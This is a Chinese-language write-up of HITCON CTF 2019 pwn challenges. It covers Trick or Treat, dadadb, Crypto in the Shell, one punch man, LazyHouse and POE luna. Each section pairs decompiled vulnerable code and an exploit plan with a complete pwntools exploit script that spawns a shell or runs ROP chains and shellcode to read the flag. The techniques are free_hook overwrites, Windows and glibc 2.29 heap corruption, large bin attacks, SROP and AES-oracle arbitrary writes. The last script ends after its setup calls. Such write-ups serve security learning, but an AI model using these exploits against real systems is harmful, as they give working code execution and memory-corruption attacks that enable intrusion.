HITCON CTF 2019 pwn 题解

权重 98 的国际赛。

文件链接:https://github.com/Ex-Origin/ctf-writeups/tree/master/hitcon_ctf_2019/pwn

Trick or Treat

一道 misc pwn,考验答题者的脑洞。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-2Ch]
  __int128 size; // [rsp+8h] [rbp-28h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  _QWORD *v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  size = 0uLL;
  v5 = 0LL;
  v6 = 0LL;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  write(1, "Size:", 5uLL);
  __isoc99_scanf((__int64)"%lu", &size);
  v6 = malloc(size);
  if ( v6 )
  {
    printf("Magic:%p\n", v6);
    for ( i = 0; i <= 1; ++i )
    {
      write(1, "Offset & Value:", 0x10uLL);
      __isoc99_scanf((__int64)"%lx %lx", (char *)&size + 8, &v5);
      v6[*((_QWORD *)&size + 1)] = v5;
    }
  }
  _exit(0);
}

思路:

  • 申请的size足够大,使得其使用 mmap 进行内存申请,从而用其偏移计算 libc 地址
  • 把 free_hook 指向 system
  • ed 绕过滤
  • !/bin/sh 执行shell
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './trick_or_treat'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b free
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

sh.sendlineafter('Size:', str(0x40000))
sh.recvuntil('Magic:')
ptr_base = int(sh.recvuntil('\n'), 16)
# Maybe different environments has different offset value.
libc_addr = ptr_base - 0x10 - 0x5b7000
log.success('libc_addr: ' + hex(libc_addr))

sh.recvuntil('Offset & Value:')
offset = (libc_addr + libc.symbols['__free_hook']) - ptr_base
offset = int(offset / 8) + 0x10 ** 16
sh.sendline('%lx %lx' % (offset, libc_addr + libc.symbols['system']))

sh.recvuntil('Offset & Value:')
sh.sendline('0' * 0x400 + ' ed')
sh.sendline('!/bin/sh')

sh.interactive()
clear()

dadadb

来自 Angel boy 的题目,质量当然毋庸置疑。

其链表并没有什么问题,成链和解链都很正常。

漏洞比较简单,在 add 的时候,当对应的 链表 如果有 指针的话,则会把原先的 free 掉后再申请新的,但是其并没有更新其size,也就意味着使用的仍然是原先的size,如果原先的size本身就很大的话,无疑直接导致了 heap overflow。

int add()
{
  ...
  v2 = global_ptr[(unsigned __int8)Dst[0]];
  if ( !v2 )
    goto LABEL_14;
  while ( 1 )
  {
    v3 = v2->key;
    do
    {
      v4 = (unsigned __int8)v3[Dst - v2->key];
      v5 = (unsigned __int8)*v3 - v4;
      if ( (unsigned __int8)*v3 != v4 )
        break;
      ++v3;
    }
    while ( v4 );
    if ( !v5 )
      break;
    v2 = v2->next;
    if ( !v2 )
      goto LABEL_14;
  }
  if ( v2 )
  {
    HeapFree(hHeap, 0, v2->ptr);
    printf("Size:");
    v8 = GetStdHandle(0xFFFFFFF6);
    if ( !ReadFile(v8, Buffer, 0x10u, &NumberOfBytesRead, 0i64) )
    {
      puts("read error");
      _exit(1);
    }
    v9 = NumberOfBytesRead;
    if ( Buffer[NumberOfBytesRead - 1] == 10 )
      Buffer[NumberOfBytesRead - 1] = 0;
    if ( Buffer[v9 - 2] == 13 )
      Buffer[v9 - 2] = 0;
    v10 = atoll(Buffer);
    if ( v10 >= 0x1000 )
      v10 = 4096i64;
    v2->ptr = (char *)HeapAlloc(hHeap, 8u, v10);
    printf("Data:");
    v11 = v2->size;
    v12 = v2->ptr;
    v13 = GetStdHandle(0xFFFFFFF6);
    if ( !ReadFile(v13, v12, v11, &NumberOfBytesRead, 0i64) )
    {
      puts("read error");
      _exit(1);
    }
    ...
  return puts("Done!");
}

思路

  • 控制其指针结构进行任意读。

由于我的Windows的dll是和靶机一样的,所以直接用 windbg 读 symbols 就行,假如靶机用的是一个比较冷门的dll,那么获取其对应的 symbols 应该也比较麻烦。

  • 伪造假的 chunk 放入 FreeList,从而控制 data 段的 fp 指针。

  • 利用 FILE - fread 进行任意写

这里和 Linux 的 fread 任意读类似。

  • 劫持返回地址,进行 ROP 使得内存有可执行权限,然后跑 shellcode 读 flag。

在Windows 下进行 ROP 来读 flag 很麻烦,不如直接写 shellcode 来的快,这里我提醒一下,要注意 栈下溢,否则 ReadFile 时可能会出错。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import time

context.arch = 'amd64'
# context.log_level = 'debug'

sh = remote('192.168.3.129', 10001)

def login(user, passwd):
    sh.sendlineafter('>> ', '1')
    sh.sendafter('User:', user)
    sh.sendafter('Password:', passwd)

def add(key, size, data):
    sh.sendlineafter('>> ', '1')
    sh.sendafter('Key:', key)
    sh.sendlineafter('Size:', str(size))
    sh.sendafter('Data:', data)

def show(key):
    sh.sendlineafter('>> ', '2')
    sh.sendafter('Key:', key)
    sh.recvuntil('Data:')

def delete(key):
    sh.sendlineafter('>> ', '3')
    sh.sendafter('Key:', key)

login('orange', 'godlike')

add('11', 0x100, '11')
add('22', 0x30, '22')
add('11', 0x30, '11')
add('33', 0x200, '33')
show('11')
head = sh.recvn(0x40)
heap_addr = u64(sh.recvn(8)) - 0xa90
log.success('heap_addr: ' + hex(heap_addr))

add('11', 0x30, head + p64(heap_addr + 0x2c0))
show('33')
result = sh.recvn(8)

dot_data = 0x15f000
ntdll = (u64(result) - dot_data) & 0xffffffffffff0000
log.success('ntdll: ' + hex(ntdll))

PebLdr_symbol = 0x1653c0
add('11', 0x30, head + p64(ntdll + PebLdr_symbol -  0xb8))
show('33')
Peb_addr = u64(sh.recvn(8)) & 0xfffffffffffff000
log.success('Peb_addr: ' + hex(Peb_addr))

add('11', 0x30, head + p64(Peb_addr + 0x10))
show('33')
image_base_addr = u64(sh.recvn(8))
log.success('image_base_addr: ' + hex(image_base_addr))

Teb_addr = Peb_addr + 0x1000
add('11', 0x30, head + p64(Teb_addr + 8))
show('33')
stack_base = u64(sh.recvn(8))
log.success('stack_base: ' + hex(stack_base))

ret_content = p64(image_base_addr + 0x1E38)
main_ret = 0
offset = 0x200
while(True):
    add('11', 0x30, head + p64(stack_base - offset))
    show('33')
    result = sh.recvn(0x200)
    position = result.find(ret_content)
    if(position != -1):
        main_ret = stack_base - offset + position
        break
    offset += 0x200

log.success('main_ret: ' + hex(main_ret))

add('11', 0x30, head + p64(image_base_addr + 0x3000))
show('33')
ReadFile_addr = u64(sh.recvn(8))
KERNEL32 = ReadFile_addr - 0x22680
log.success('KERNEL32: ' + hex(KERNEL32))

# clear
add('clear', 0x50, 'clear')

add('44', 0x200, '44')
add('44', 0x50, '44')
add('55', 0x40, '55')
add('66', 0x40, '66')

# free
add('55', 0x50, '55')
add('66', 0x50, '66')

show('44')
result = sh.recvn(0x200)
xor_header = result[0x188: 0x190]

sh.sendlineafter('>> ', '4') # logout
payload = xor_header + p64(heap_addr + 0xe50) + p64(heap_addr + 0xf10) # fake chunk
login('orange', 'godlike\0' + payload)

# UAF modify Flink and Blink
payload = result[: 0xd8] + p64(image_base_addr + 0x5658) + result[0xe0:0x190] + p64(image_base_addr + 0x5658)
add('44', 0x50, payload)

add('77', 0x40, '77')
add('88', 0x40, 'p' * 0x10 + p64(heap_addr + 0x1170)) # hijack FILE

fake_FILE = [
    0,
    main_ret - 0x280, # login ret
    p32(0), p32(0x2080),
    0,
    0x200,
    0,
    0xffffffffffffffff,
    p32(0xffffffff), p32(0),
    0,
    0,
]
add('99', 0x100, flat(fake_FILE))

sh.sendlineafter('>> ', '4') # logout

login('aa', 'bb')

pop_rdx_ret = ntdll + 0x57642
pop_rcx_r8_r9_r10_r11_ret = ntdll + 0x8fb31

VirtualProtect = KERNEL32 + 0x1B680

layout = [
    pop_rdx_ret,
    0x1000,
    pop_rcx_r8_r9_r10_r11_ret,
    heap_addr,
    0x40, # PAGE_EXECUTE_READWRITE
    heap_addr + 0x1000,
    0,0,
    VirtualProtect,

    ntdll + 0x220dc, #: add rsp, 0x18; ret; 
    0,0,0,

    ntdll + 0x9217b, #: pop rcx; ret; 
    0xFFFFFFF6,
    KERNEL32 + 0x1c890, # GetStdHandle

    ntdll + 0x3537a, #: mov rcx, rax; mov rax, rcx; add rsp, 0x28; ret; 
    0,0,0,0,0,

    pop_rdx_ret,
    heap_addr,
    ntdll + 0x8fb32, #: pop r8; pop r9; pop r10; pop r11; ret; 
    0x100,
    heap_addr + 0x1100,
    0,
    0,
    KERNEL32 + 0x22680, # ReadFile
    heap_addr,
    0,0,0,
    0,
]

sh.send(flat(layout).ljust(0x100, '\0'))

time.sleep(1)

asm_str = '''
sub rsp, 0x1000 ;// to prevent underflowing

mov rax, 0x7478742e67616c66 ;// flag.txt
mov [rsp + 0x100], rax
mov byte ptr [rsp + 0x108], 0
lea rcx, [rsp + 0x100]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
mov dword ptr[rsp + 0x20], 3
mov dword ptr[rsp + 0x28], 0x80
mov [rsp + 0x30], r9
mov rax, %d
call rax ;// CreateFile

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, 0x200
lea r9, [rsp + 0x30]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// ReadFile

mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE
mov rax, %d
call rax ;// GetStdHandle

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, [rsp + 0x30]
lea r9, [rsp + 0x40]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// WriteFile

mov rax, %d
call rax ;// exit
''' % ( KERNEL32 + 0x222f0, KERNEL32 + 0x22680, KERNEL32 + 0x1c890, KERNEL32 + 0x22770, image_base_addr + 0x1B86)

shellcode = asm(asm_str)

sh.send(shellcode)

sh.interactive()

Crypto in the Shell

这题比较简单,没有设置很多障碍,漏洞点也很明显,就是明显的数组溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // rsi
  signed int i; // [rsp+8h] [rbp-28h]
  __int64 offset; // [rsp+10h] [rbp-20h]
  size_t size; // [rsp+18h] [rbp-18h]
  void *local_buf; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = 0LL;
  setvbuf(stderr, 0LL, 2, 0LL);
  readkey();
  for ( i = 0; i <= 31; ++i )
  {
    printf("offset:", v3);
    if ( scanf("%llu", &offset) != 1 )
      break;
    printf("size:");
    v3 = &size;
    if ( scanf("%llu", &size) != 1 )
      break;
    if ( size )
    {
      size = (size & 0xFFFFFFFFFFFFFFF0LL) + 16;
      local_buf = &buf[offset];
      AESencrypt(&AESkey, &iv, &buf[offset], size);
      v3 = local_buf;
      write(1, local_buf, size);
    }
  }
  return 0;
}

思路

  • 修改 key, iv 并泄露出来。
  • 利用 key, iv 泄露出 libc、镜像、栈 地址。
  • 修改 局部变量i ,使得我们有很多次机会
  • 任意写

任意写的原理就是爆破一个字节,利用加密函数进行爆破使得其等于我们需要的那个字节,否则就继续爆破,知道出现预期结果为止。多个字节的话,单字节爆破叠加即可。

脚本

概率 1/2 ,成功的主要因数取决于 修改的局部变量i 是否为负数。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal
from Crypto.Cipher import AES

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './chall'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *$rebase(0x127F)
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def decrypt(key, iv, data):
    instance = AES.new(key, AES.MODE_CBC, iv)
    return instance.decrypt(data)

def run_service(offset, size):
    sh.sendlineafter('offset:', str(offset))
    sh.sendlineafter('size:', str(size))
    return sh.recvn((size & 0xfffffff0) + 0x10)

# modify key,iv and get them
result = run_service(0xffffffffffffffe0, 0x10)
key = result[:0x10]
iv = result[0x10:]

# leak 
cipher = run_service(0xffffffffffffffc0, 1)
result = decrypt(key, iv, cipher)
libc_addr = u64(result[:8]) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))

cipher = run_service(0xfffffffffffffc60, 1)
result = decrypt(key, iv, cipher)
image_base_addr = u64(result[8:16]) - 0x202008
log.success('image_base_addr: ' + hex(image_base_addr))

offset = (libc_addr + libc.symbols['environ']) - (image_base_addr + elf.symbols['buf'])
cipher = run_service(offset, 1)
result = decrypt(key, iv, cipher)
stack_addr = u64(result[:8])
log.success('stack_addr: ' + hex(stack_addr))

# hijack local variable
i_addr = stack_addr - 0x120
offset = (i_addr) - (image_base_addr + elf.symbols['buf'])
run_service(offset, 1)

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

# arbitrary memory writing
one_gadget = p64(libc_addr + 0x4f322)
offset = (stack_addr - 0xf0) - (image_base_addr + elf.symbols['buf'])
for i in range(8):
    while(True):
        result = run_service(offset + i, 1)
        if(one_gadget[i] == result[0]):
            log.success('i : ' + str(i))
            break

print('')
content = '\0' * 8
offset = (libc_addr + libc.symbols['environ']) - (image_base_addr + elf.symbols['buf'])
for i in range(8):
    while(True):
        result = run_service(offset + i, 1)
        if(content[i] == result[0]):
            log.success('i : ' + str(i))
            break

sh.sendlineafter('offset:', 'a')

sh.interactive()
clear()

另一种思路

由于有可以任意地址读,那么可以直接劫持 stdin 进行任意地址写。

one punch man

靶机环境是 glibc-2.29 ,需要用到一些新特性来进行利用以达到任意代码执行。

void delete()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  write_str("idx: ");
  v0 = get_int();
  if ( v0 > 2 )
    error((__int64)"invalid");
  free((void *)heros[v0].calloc_ptr);
}

漏洞点在于 delete 时没有清理指针导致的 UAF ,程序使用的是 calloc 函数来获取 堆内存,这使得 tcache 就不能使用了,但是后门函数使用的仍然是malloc函数,不过我们需要满足其 tcache->counts 大于 6 才行。这就是该题的难点。

思路

  • 用 UAF 构造 chunk overlap
  • 用 tcache->counts 来伪造 size, 用 tcache->entries 伪造 fake_chunk 的 fd 和 bk,提前布置好 堆布局,以便绕过 unlink 检查。
  • unlink 控制 tcache->entries,劫持hook控制程序流,然后SROP再执行shellcode读取flag。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './one_punch'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.29.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def add(index, content):
    sh.sendlineafter('> ', '1')
    sh.sendlineafter('idx: ', str(index))
    sh.sendafter('name: ', content)

def edit(index, content):
    sh.sendlineafter('> ', '2')
    sh.sendlineafter('idx: ', str(index))
    sh.sendafter('name: ', content)

def show(index):
    sh.sendlineafter('> ', '3')
    sh.sendlineafter('idx: ', str(index))
    sh.recvuntil('name: ')
    return sh.recvuntil('\n', drop=True)

def delete(index):
    sh.sendlineafter('> ', '4')
    sh.sendlineafter('idx: ', str(index))

def backdoor(content):
    sh.sendlineafter('> ', '50056')
    time.sleep(0.1)
    sh.send(content)

add(2, 'a' * 0x217)

for i in range(2):
    add(0, 'a' * 0x217)
    delete(0)

result = show(0)
heap_addr = u64(result.ljust(8, '\0')) & 0xfffffffffffff000
log.success('heap_addr: ' + hex(heap_addr))

for i in range(5):
    add(0, 'a' * 0x217)
    delete(0)

delete(2)
result = show(2)
libc_addr = u64(result.ljust(8, '\0')) - 0x1e4ca0
log.success('libc_addr: ' + hex(libc_addr))

length = 0xe0
add(0, 'a' * length)
add(0, 'a' * 0x80)
edit(2, '\0' * length + p64(0) + p64(0x21))
delete(0)
edit(2, '\0' * length + p64(0) + p64(0x31))
delete(0)

edit(2, '\0' * length + p64(0) + p64(0x3a1))
delete(0)

for i in range(3):
    add(1, 'b' * 0x3a8)
    delete(1)

edit(2, '\0' * length + p64(0x300) + p64(0x570) + p64(0) + p64(0) + p64(heap_addr + 0x40) + p64(heap_addr + 0x40))
delete(0)

add(0, 'c' * 0x100 + p64(libc_addr + libc.symbols['__free_hook']) + '\0')

# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; 
layout = [
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    10,
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 
    heap_addr + 0x260 + 0xf8,
]
backdoor(p64(libc_addr + 0x000000000012be97) + flat(layout) + '\0')
frame = SigreturnFrame()
frame.rdi = heap_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = libc_addr + libc.symbols['__free_hook'] + 8
frame.rip = libc_addr + 0x55cc4 # ret

shellcode = asm('''
push 0x67616c66 ;// flag
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js fail

mov edi, eax
mov rsi, rsp
mov edx, 100
xor eax, eax
syscall ;// read

mov edx, eax
mov rsi, rsp
mov eax, 1
mov edi, eax
syscall ;// write

jmp exit

fail:
mov rax, 0x727265206e65706f ;// open error!
mov [rsp], rax
mov eax, 0x0a21726f
mov [rsp+8], rax
mov rsi, rsp
mov edi, 1
mov edx, 12
mov eax, edi
syscall ;// write

exit:
xor edi, edi
mov eax, 231
syscall 
''')
edit(2, p64(libc_addr + 0x55E35) + p64(heap_addr + 0x260) + str(frame)[0x10:] + shellcode)

delete(2)

sh.interactive()
clear()

另一种思路

利用 large bin attack 攻击 tcache->counts ,那么可以绕过限制直接调用后门。

LazyHouse

乘法溢出漏洞,重要输入的值满足下面的判断就能导致溢出。

unsigned long input;
if((218 * input < 116630) && ((input * 64) > (218 * input)))
{
    puts("Multiplication overflow");
}

其原理是利用乘法的进位使得恰好溢出,并且得到的值小于116630,可以利用除法来进行反向计算获得其溢出的输出。

unsigned long input = -1;
input = input/218 + 1;

思路

  • 乘法溢出,解除 内存申请的限制
  • chunk overlap,使得 heap 布局可以自由控制
  • 泄露 heap 地址,和 libc 地址
  • large bin attack 修改 global_max_fast ,使得可以继续使用fastbin
  • fastbin attack 劫持 tcache
  • 修改 hook ,利用 calloc 的特性进行栈转移。
  • ROP 读 flag

通过调试靶机的 libc 可以发现 calloc 函数使用 rbp 当做寄存器变量来存储 传入的 size,所以我们可以控制其 size 进行栈转移。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './lazyhouse'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.29.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    def pr
        x/gx $rebase(0x5010)
        x/24gx $rebase(0x5060)
        end

    b calloc
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def add(index, size, content):
    sh.sendlineafter('Your choice: ', '1')
    sh.sendlineafter('Index:', str(index))
    sh.sendlineafter('Size:', str(size))
    if(content):
        sh.sendafter('House:', content)

def show(index):
    sh.sendlineafter('Your choice: ', '2')
    sh.sendlineafter('Index:', str(index))

def delete(index):
    sh.sendlineafter('Your choice: ', '3')
    sh.sendlineafter('Index:', str(index))

def edit(index, content):
    sh.sendlineafter('Your choice: ', '4')
    sh.sendlineafter('Index:', str(index))
    sh.sendafter('House:', content)

def triger(content):
    sh.sendlineafter('Your choice: ', '5')
    sh.sendafter('House:', content)

# Multiplication overflow
add(0, 0x12c9fb4d812c9fc, None)
delete(0)

# chunk overlap
add(0, 0x88, '\n')
add(1, 0x248, '\n')
add(2, 0x248, '\n')
add(6, 0x248, '\n')
add(3, 0x88, '\n')
add(7, 0x88, '\n')
add(4, 0x448, '\n')

for i in range(7):
    add(5, 0x248, '\n')
    delete(5)

edit(0, 'a' * 0x80 + p64(0) + p64(0x781))
delete(1)
add(1, 0x338, 'b' * 0x240 + p64(0) + p64(0x251))
add(5, 0x600, '\n')
show(2)
sh.recvn(0xf0)
libc_addr = u64(sh.recvn(8)) - 1120 - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

sh.recvn(8)

heap_addr = u64(sh.recvn(8)) & 0xfffffffffffff000
log.success('heap_addr: ' + hex(heap_addr))

# large bin attack
delete(2)
add(2, 0x248, 'c' * 0xe0 + p64(0) + p64(0x441) + p64(libc_addr + 0x1e50a0) + p64(libc_addr + 0x1e50a0) + p64(0) + p64(libc_addr + 0x1e7600 - 0x20))
delete(4)
add(4, 0x88, '\n')

# fastbin attack
delete(4)
delete(2)
edit(1, 'd' * 0x240 + p64(0) + p64(0x251) + p64(heap_addr))

# for ROP
layout = [
    0,
    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    heap_addr + 0x540 + 0x100,
    libc_addr + 0x0000000000026f9e, #: pop rsi; ret; 
    0,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    2,
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 

    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    3,
    libc_addr + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr,
    libc_addr + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    0,
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 

    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    1,
    libc_addr + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr,
    libc_addr + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    1,
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 

    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    0,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    231,
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 
]
add(2, 0x248, flat(layout).ljust(0x100, '\0') + './flag')

# hijack tcache
add(4, 0x248, '\0' * 0x40 + p64(0) * 0x20 + p64(libc_addr + libc.symbols['__malloc_hook']))

triger(p64(libc_addr + 0x0058373))
delete(4)

# triger ROP
sh.sendafter('Your choice: ', '1\0'.ljust(0x20, '0'))
sh.sendlineafter('Index:', str(4))
sh.sendlineafter('Size:', str(heap_addr + 0x540))

sh.interactive()
clear()

其他思路

  1. 利用 small bin 来劫持 tcache (balsn战队)

  2. 利用 SROP 代替栈转移

POE luna

借用作者的原话,直接分析二进制代码就足够了。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './luna'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    def pr
        x/4gx 0x6D9340
        echo array:\\n
        x/16x *(void **)0x6D9340
        end
    b *0x4011a2
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def new_tab():
    sh.sendlineafter('>>> ', 'n')

def insert_tab(text):
    sh.sendlineafter('>>> ', 'i')
    sh.sendline(str(0))
    sh.sendline(text)

def cut(num):
    sh.sendlineafter('>>> ', 'c')
    sh.sendline(str(0) + ' ' + str(num))

def paste():
    sh.sendlineafter('>>> ', 'p')
    sh.sendline(str(0))

def write(content):
    for i in range(len(content)):
        sh.sendlineafter('>>> ', 'r')
        sh.sendline(str(i) + ' ' + str(i + 1))
        sh.sendline(content[i])

def select(index):
    sh.sendlineafter('>>> ', 's')
    sh.sendline(str(index))

def display(start, end):
    sh.sendlineafter('>>> ', 'd')
    sh.sendline(str(start) + ' ' + str(end))

insert_tab('a' * 0x18)
cut(0x18)

new_tab()
insert_tab('b' * 0xf8)
cut(0xf0)

new_tab()
paste()

